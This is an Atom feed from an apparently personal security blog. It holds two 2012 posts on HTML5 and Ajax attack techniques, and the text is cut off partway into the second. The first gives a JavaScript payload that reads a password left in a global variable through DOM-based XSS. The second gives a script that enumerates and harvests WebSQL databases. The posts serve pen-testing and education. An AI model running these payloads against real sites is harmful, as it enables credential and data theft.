<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-11830896</id><updated>2012-01-13T04:20:05.516-08:00</updated><category term='XHR'/><category term='DOM based XSS'/><category term='WebSQL'/><category term='Double eval()'/><category term='SOP'/><category term='CORS'/><category term='DOM injection'/><category term='CSRF'/><category term='Storage'/><category term='JSON'/><category term='XSS'/><category term='CORJacking'/><category term='RIA Security'/><category term='HTML5'/><title type='text'>Shreeraj's security blog</title><subtitle type='html'>This blog is created to keep track of my activities and place holder for sharing. Enjoy!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://shreeraj.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default?start-index=101&amp;max-results=100'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>138</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-11830896.post-5333579272294922031</id><published>2012-01-13T04:20:00.000-08:00</published><updated>2012-01-13T04:20:05.532-08:00</updated><title type='text'>Password extraction from Ajax/DOM/HTML5 routine – Poor programming calls</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;Login Ajax routine is an interestingplace to check for variable definition and assignments with respect to "single DOM application"/HTML5/Web2.0 framework. If variables are not created with proper scopethen can be accessed as global and contain interesting information like username,password, tokens etc. Interestingly we need to do lot of JavaScript analysiswith Web 2.0, Ajax, HTML5 and Single DOM applications.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;For example, here is a routine for login. It can be buried inone of the JS files but gets loaded on DOM at the point of call and remainthere throughout application life cycle.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;functiongetLogin()&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;gb= gb+1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;varuser = document.frmlogin.txtuser.value;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;varpwd = document.frmlogin.txtpwd.value;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;varxmlhttp=false; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try&amp;nbsp;{&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;xmlhttp = newActiveXObject("Msxml2.XMLHTTP"); &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;// other code for XHR initialization&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; temp ="login.do?user="+user+"&amp;amp;pwd="+pwd;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlhttp.open("GET",temp,true);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlhttp.onreadystatechange=function() &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //other code on state ready change&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlhttp.send(null);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;&lt;span style="font-family: 'Courier New';"&gt;}&lt;span style="font-size: x-small;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Here, temp variable is crafting URL and posting username andpassword for Ajax call. It can be part of POST if going through send(). “temp” variableis very loosely defined as global and can be accessed from the DOM. &lt;/div&gt;&lt;div class="MsoNormal"&gt;It is easy to access those variables from DOM – Yes, needDOM based XSS but coding practice is poor over here. Payload to exploit thevulnerability…&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;for(i in window){&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; obj=window[i];&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try{&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(typeof(obj)=="string"){&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;console.log(i);&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;console.log(obj.toString());&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}catch(ex){} &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;You will get “temp” variable with following value - &lt;span class="objectbox"&gt;login.do?user=foo&amp;amp;pwd=foobar.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-5333579272294922031?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5333579272294922031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5333579272294922031'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2012/01/password-extraction-from-ajaxdomhtml5.html' title='Password extraction from Ajax/DOM/HTML5 routine – Poor programming calls'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-8675292591685457152</id><published>2012-01-07T03:53:00.000-08:00</published><updated>2012-01-07T03:53:42.426-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Storage'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML5'/><category scheme='http://www.blogger.com/atom/ns#' term='WebSQL'/><title type='text'>Blind WebSQL and Storage extraction for HTML5 Apps</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;&lt;div class="MsoNoSpacing"&gt;HTML5 is having two important data points – WebSQL andStorage. They are controlled by well defined RFCs and specifications. TheseAPIs can be accessed using JavaScript. Assuming we get an entry into DOM thenalso we are completely blind with WebSQL table names and storage keys. Here isa way to enumerate that data during pen-testing and assessments.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;Blind WebSQL Enumeration&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;We need following information to extract target content.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;1.&lt;span style="font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;!--[endif]--&gt;Database object&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;2.&lt;span style="font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;!--[endif]--&gt;Table structure created on SQLite&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;3.&lt;span style="font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;!--[endif]--&gt;User table on which we need to run select query&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Here is the script which can harvest database withzero knowledge&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;vardbo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;vartable;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;varusertable;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;for(iin window){&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; obj = window[i];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(obj.constructor.name=="Database"){&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dbo= obj;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; obj.transaction(function(tx){&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tx.executeSql('SELECTname FROM sqlite_master WHERE type=\'table\'',[],function(tx,results){&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; table=results;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; },null);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: 